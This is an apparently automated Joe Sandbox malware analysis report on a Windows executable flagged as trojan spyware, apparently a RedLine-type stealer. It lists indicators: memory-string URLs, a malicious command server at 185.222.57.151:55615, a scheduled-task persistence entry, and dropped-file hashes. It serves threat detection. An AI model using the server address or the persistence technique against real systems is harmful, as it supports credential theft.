http://tempuri.org/Endpoint/CheckConnectResponse	RgIbrhxoEx.exe, 00000008.00000002.2244863181.00000000030B1000.00000004.00000800.00020000.00000000.sdmp, LjGABleGAy.exe, 0000000E.00000002.2329592554.0000000002C91000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://schemas.datacontract.org/2004/07/	RgIbrhxoEx.exe, 00000008.00000002.2244863181.00000000033BB000.00000004.00000800.00020000.00000000.sdmp, LjGABleGAy.exe, 0000000E.00000002.2329592554.0000000002C91000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/faultX	RgIbrhxoEx.exe, 00000008.00000002.2244863181.00000000030B1000.00000004.00000800.00020000.00000000.sdmp, LjGABleGAy.exe, 0000000E.00000002.2329592554.0000000002C91000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/EnvironmentSettings	RgIbrhxoEx.exe, 00000008.00000002.2244863181.00000000030B1000.00000004.00000800.00020000.00000000.sdmp, RgIbrhxoEx.exe, 00000008.00000002.2244863181.0000000003100000.00000004.00000800.00020000.00000000.sdmp, LjGABleGAy.exe, 0000000E.00000002.2329592554.0000000002C91000.00000004.00000800.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://api.ip.sb/geoip%USERPEnvironmentROFILE%	RgIbrhxoEx.exe, RgIbrhxoEx.exe, 00000008.00000002.2242729605.0000000000402000.00000040.00000400.00020000.00000000.sdmp, LjGABleGAy.exe, 0000000A.00000002.2218778326.000000000424B000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://api.ip.sb	LjGABleGAy.exe, 0000000E.00000002.2329592554.0000000002C91000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://api.ip.sb/geoip	LjGABleGAy.exe, 0000000E.00000002.2329592554.0000000002C91000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/soap/envelope/	LjGABleGAy.exe, 0000000E.00000002.2329592554.0000000002C91000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	RgIbrhxoEx.exe, 00000008.00000002.2249959676.00000000040DA000.00000004.00000800.00020000.00000000.sdmp, RgIbrhxoEx.exe, 00000008.00000002.2249959676.0000000004260000.00000004.00000800.00020000.00000000.sdmp, tmp8A31.tmp.14.dr, tmp666D.tmp.8.dr, tmpC059.tmp.14.dr, tmpC018.tmp.14.dr, tmpF5A4.tmp.14.dr, tmp3123.tmp.8.dr, tmpF593.tmp.14.dr, tmp9B9B.tmp.8.dr, tmp9BAB.tmp.8.dr, tmp9B6A.tmp.8.dr, tmp3112.tmp.8.dr, tmpC028.tmp.14.dr, tmp8A01.tmp.14.dr, tmpD02C.tmp.8.dr, tmp9B8A.tmp.8.dr, tmpF5F4.tmp.14.dr, tmp665D.tmp.8.dr, tmp9BBC.tmp.8.dr, tmpD01B.tmp.8.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://tempuri.org/	LjGABleGAy.exe, 0000000E.00000002.2329592554.0000000002E91000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/CheckConnect	RgIbrhxoEx.exe, 00000008.00000002.2244863181.00000000030B1000.00000004.00000800.00020000.00000000.sdmp, LjGABleGAy.exe, 0000000E.00000002.2329592554.0000000002C91000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	RgIbrhxoEx.exe, 00000008.00000002.2249959676.00000000040DA000.00000004.00000800.00020000.00000000.sdmp, RgIbrhxoEx.exe, 00000008.00000002.2249959676.0000000004260000.00000004.00000800.00020000.00000000.sdmp, LjGABleGAy.exe, 0000000E.00000002.2337066239.0000000003CBC000.00000004.00000800.00020000.00000000.sdmp, tmp8A31.tmp.14.dr, tmp666D.tmp.8.dr, tmpC059.tmp.14.dr, tmpC018.tmp.14.dr, tmpF5A4.tmp.14.dr, tmp3123.tmp.8.dr, tmpF593.tmp.14.dr, tmp9B9B.tmp.8.dr, tmp9BAB.tmp.8.dr, tmp9B6A.tmp.8.dr, tmp3112.tmp.8.dr, tmpC028.tmp.14.dr, tmp8A01.tmp.14.dr, tmpD02C.tmp.8.dr, tmp9B8A.tmp.8.dr, tmpF5F4.tmp.14.dr, tmp665D.tmp.8.dr, tmp9BBC.tmp.8.dr	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	RgIbrhxoEx.exe, 00000008.00000002.2249959676.00000000040DA000.00000004.00000800.00020000.00000000.sdmp, RgIbrhxoEx.exe, 00000008.00000002.2249959676.0000000004260000.00000004.00000800.00020000.00000000.sdmp, tmp8A31.tmp.14.dr, tmp666D.tmp.8.dr, tmpC059.tmp.14.dr, tmpC018.tmp.14.dr, tmpF5A4.tmp.14.dr, tmp3123.tmp.8.dr, tmpF593.tmp.14.dr, tmp9B9B.tmp.8.dr, tmp9BAB.tmp.8.dr, tmp9B6A.tmp.8.dr, tmp3112.tmp.8.dr, tmpC028.tmp.14.dr, tmp8A01.tmp.14.dr, tmpD02C.tmp.8.dr, tmp9B8A.tmp.8.dr, tmpF5F4.tmp.14.dr, tmp665D.tmp.8.dr, tmp9BBC.tmp.8.dr, tmpD01B.tmp.8.dr	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/VerifyUpdateResponse	RgIbrhxoEx.exe, 00000008.00000002.2244863181.00000000030B1000.00000004.00000800.00020000.00000000.sdmp, LjGABleGAy.exe, 0000000E.00000002.2329592554.0000000002C91000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.chiark.greenend.org.uk/~sgtatham/putty/0	RgIbrhxoEx.exe, LjGABleGAy.exe.0.dr	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/SetEnvironment	LjGABleGAy.exe, 0000000E.00000002.2329592554.0000000002C91000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/SetEnvironmentResponse	RgIbrhxoEx.exe, 00000008.00000002.2244863181.00000000030B1000.00000004.00000800.00020000.00000000.sdmp, LjGABleGAy.exe, 0000000E.00000002.2329592554.0000000002C91000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://185.222.57.151:55615t-	RgIbrhxoEx.exe, 00000008.00000002.2244863181.0000000003146000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/GetUpdates	LjGABleGAy.exe, 0000000E.00000002.2329592554.0000000002E91000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	RgIbrhxoEx.exe, 00000008.00000002.2249959676.00000000040DA000.00000004.00000800.00020000.00000000.sdmp, RgIbrhxoEx.exe, 00000008.00000002.2249959676.0000000004260000.00000004.00000800.00020000.00000000.sdmp, tmp8A31.tmp.14.dr, tmp666D.tmp.8.dr, tmpC059.tmp.14.dr, tmpC018.tmp.14.dr, tmpF5A4.tmp.14.dr, tmp3123.tmp.8.dr, tmpF593.tmp.14.dr, tmp9B9B.tmp.8.dr, tmp9BAB.tmp.8.dr, tmp9B6A.tmp.8.dr, tmp3112.tmp.8.dr, tmpC028.tmp.14.dr, tmp8A01.tmp.14.dr, tmpD02C.tmp.8.dr, tmp9B8A.tmp.8.dr, tmpF5F4.tmp.14.dr, tmp665D.tmp.8.dr, tmp9BBC.tmp.8.dr, tmpD01B.tmp.8.dr	false	URL Reputation: safe	unknown
https://api.ipify.orgcookies//settinString.Removeg	RgIbrhxoEx.exe, RgIbrhxoEx.exe, 00000008.00000002.2242729605.0000000000402000.00000040.00000400.00020000.00000000.sdmp, LjGABleGAy.exe, 0000000A.00000002.2218778326.000000000424B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing	RgIbrhxoEx.exe, 00000008.00000002.2244863181.00000000030B1000.00000004.00000800.00020000.00000000.sdmp, LjGABleGAy.exe, 0000000E.00000002.2329592554.0000000002C91000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.222.57.151:55615	RgIbrhxoEx.exe, 00000008.00000002.2244863181.00000000033BB000.00000004.00000800.00020000.00000000.sdmp, RgIbrhxoEx.exe, 00000008.00000002.2244863181.00000000030B1000.00000004.00000800.00020000.00000000.sdmp, RgIbrhxoEx.exe, 00000008.00000002.2244863181.0000000003146000.00000004.00000800.00020000.00000000.sdmp, LjGABleGAy.exe, 0000000E.00000002.2329592554.0000000002C91000.00000004.00000800.00020000.00000000.sdmp, LjGABleGAy.exe, 0000000E.00000002.2329592554.0000000002E91000.00000004.00000800.00020000.00000000.sdmp	false	4%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/GetUpdatesResponse	RgIbrhxoEx.exe, 00000008.00000002.2244863181.00000000030B1000.00000004.00000800.00020000.00000000.sdmp, LjGABleGAy.exe, 0000000E.00000002.2329592554.0000000002C91000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	RgIbrhxoEx.exe, 00000008.00000002.2249959676.00000000040DA000.00000004.00000800.00020000.00000000.sdmp, RgIbrhxoEx.exe, 00000008.00000002.2249959676.0000000004260000.00000004.00000800.00020000.00000000.sdmp, LjGABleGAy.exe, 0000000E.00000002.2337066239.0000000003CBC000.00000004.00000800.00020000.00000000.sdmp, tmp8A31.tmp.14.dr, tmp666D.tmp.8.dr, tmpC059.tmp.14.dr, tmpC018.tmp.14.dr, tmpF5A4.tmp.14.dr, tmp3123.tmp.8.dr, tmpF593.tmp.14.dr, tmp9B9B.tmp.8.dr, tmp9BAB.tmp.8.dr, tmp9B6A.tmp.8.dr, tmp3112.tmp.8.dr, tmpC028.tmp.14.dr, tmp8A01.tmp.14.dr, tmpD02C.tmp.8.dr, tmp9B8A.tmp.8.dr, tmpF5F4.tmp.14.dr, tmp665D.tmp.8.dr, tmp9BBC.tmp.8.dr	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/EnvironmentSettingsResponse	RgIbrhxoEx.exe, 00000008.00000002.2244863181.00000000030B1000.00000004.00000800.00020000.00000000.sdmp, LjGABleGAy.exe, 0000000E.00000002.2329592554.0000000002C91000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/VerifyUpdate	RgIbrhxoEx.exe, 00000008.00000002.2244863181.00000000030B1000.00000004.00000800.00020000.00000000.sdmp, LjGABleGAy.exe, 0000000E.00000002.2329592554.0000000002C91000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://tempuri.org/0	RgIbrhxoEx.exe, 00000008.00000002.2244863181.00000000030B1000.00000004.00000800.00020000.00000000.sdmp, LjGABleGAy.exe, 0000000E.00000002.2329592554.0000000002C91000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	RgIbrhxoEx.exe, 00000000.00000002.2133067683.0000000002DE6000.00000004.00000800.00020000.00000000.sdmp, RgIbrhxoEx.exe, 00000008.00000002.2244863181.00000000030B1000.00000004.00000800.00020000.00000000.sdmp, LjGABleGAy.exe, 0000000A.00000002.2217562708.0000000003226000.00000004.00000800.00020000.00000000.sdmp, LjGABleGAy.exe, 0000000E.00000002.2329592554.0000000002C91000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	RgIbrhxoEx.exe, 00000008.00000002.2249959676.00000000040DA000.00000004.00000800.00020000.00000000.sdmp, RgIbrhxoEx.exe, 00000008.00000002.2249959676.0000000004260000.00000004.00000800.00020000.00000000.sdmp, tmp8A31.tmp.14.dr, tmp666D.tmp.8.dr, tmpC059.tmp.14.dr, tmpC018.tmp.14.dr, tmpF5A4.tmp.14.dr, tmp3123.tmp.8.dr, tmpF593.tmp.14.dr, tmp9B9B.tmp.8.dr, tmp9BAB.tmp.8.dr, tmp9B6A.tmp.8.dr, tmp3112.tmp.8.dr, tmpC028.tmp.14.dr, tmp8A01.tmp.14.dr, tmpD02C.tmp.8.dr, tmp9B8A.tmp.8.dr, tmpF5F4.tmp.14.dr, tmp665D.tmp.8.dr, tmp9BBC.tmp.8.dr, tmpD01B.tmp.8.dr	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/actor/next	RgIbrhxoEx.exe, 00000008.00000002.2244863181.00000000030B1000.00000004.00000800.00020000.00000000.sdmp, LjGABleGAy.exe, 0000000E.00000002.2329592554.0000000002C91000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.222.57.151	unknown	Netherlands		51447	ROOTLAYERNETNL	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1483367
Start date and time:	2024-07-27 04:11:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 14s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	RgIbrhxoEx.exe renamed because original name is a hash value
Original Sample Name:	304ea6d5cf3786d19de14f004d7d057a.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@21/103@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 111 Number of non-executed functions: 13
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 104.26.13.31, 172.67.75.172, 104.26.12.31
Excluded domains from analysis (whitelisted): api.ip.sb.cdn.cloudflare.net, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
04:12:07	Task Scheduler	Run new task: LjGABleGAy path: C:\Users\user\AppData\Roaming\LjGABleGAy.exe
22:12:00	API Interceptor	43x Sleep call for process: RgIbrhxoEx.exe modified
22:12:06	API Interceptor	34x Sleep call for process: powershell.exe modified
22:12:09	API Interceptor	41x Sleep call for process: LjGABleGAy.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ROOTLAYERNETNL	LisectAVT_2403002A_369.exe	Get hash	malicious	PureLog Stealer	Browse	45.137.22.173
	LisectAVT_2403002A_70.exe	Get hash	malicious	PureLog Stealer	Browse	45.137.22.173
	fOgI44YEok.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	45.137.22.242
	WKRej3JIRi.exe	Get hash	malicious	RedLine	Browse	185.222.57.147
	svEEudloxo.exe	Get hash	malicious	RedLine	Browse	185.222.57.153
	owKQ0b029a.exe	Get hash	malicious	RedLine	Browse	185.222.57.67
	8LcFUXH9xN.exe	Get hash	malicious	RedLine	Browse	185.222.57.74
	0h6tTGKedZ.exe	Get hash	malicious	RedLine	Browse	185.222.57.153
	SecuriteInfo.com.Exploit.CVE-2017-11882.123.8256.26893.rtf	Get hash	malicious	FormBook	Browse	45.137.22.78
	PO2767.xls	Get hash	malicious	FormBook	Browse	45.137.22.78

Process:	C:\Users\user\AppData\Roaming\LjGABleGAy.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RgIbrhxoEx.exe.log

Download File

Process:	C:\Users\user\Desktop\RgIbrhxoEx.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2232
Entropy (8bit):	5.379401388151058
Encrypted:	false
SSDEEP:	48:fWSU4xymI4RfoUeW+gZ9tK8NPZHUxL7u1iMugeC/ZPUyus:fLHxvIIwLgZ2KRHWLOug8s
MD5:	AF15464AFD6EB7D301162A1DC8E01662
SHA1:	A974B8FEC71BF837B8E72FE43AB43E447FC43A86
SHA-256:	103A67F6744C098E5121D2D732753DFA4B54FA0EFD918FEC3941A3C052F5E211
SHA-512:	7B5B7B7F6EAE4544BAF61F9C02BF0138950E5D7D1B0457DE2FAB2C4C484220BDD1AB42D6884838E798AD46CE1B5B5426CEB825A1690B1190857D3B643ABFAB37
Malicious:	false
Preview:	@...e................................................@..........P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.H................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1doh44bp.5xz.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3cpeqnkc.pbx.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cuqgxjxh.1xj.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_deftesll.lie.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iipxnmmf.ezd.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kz5ccsmr.ge3.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oo1c4ah5.qh4.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wowg51dl.0ls.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\tmp1CC9.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\LjGABleGAy.exe
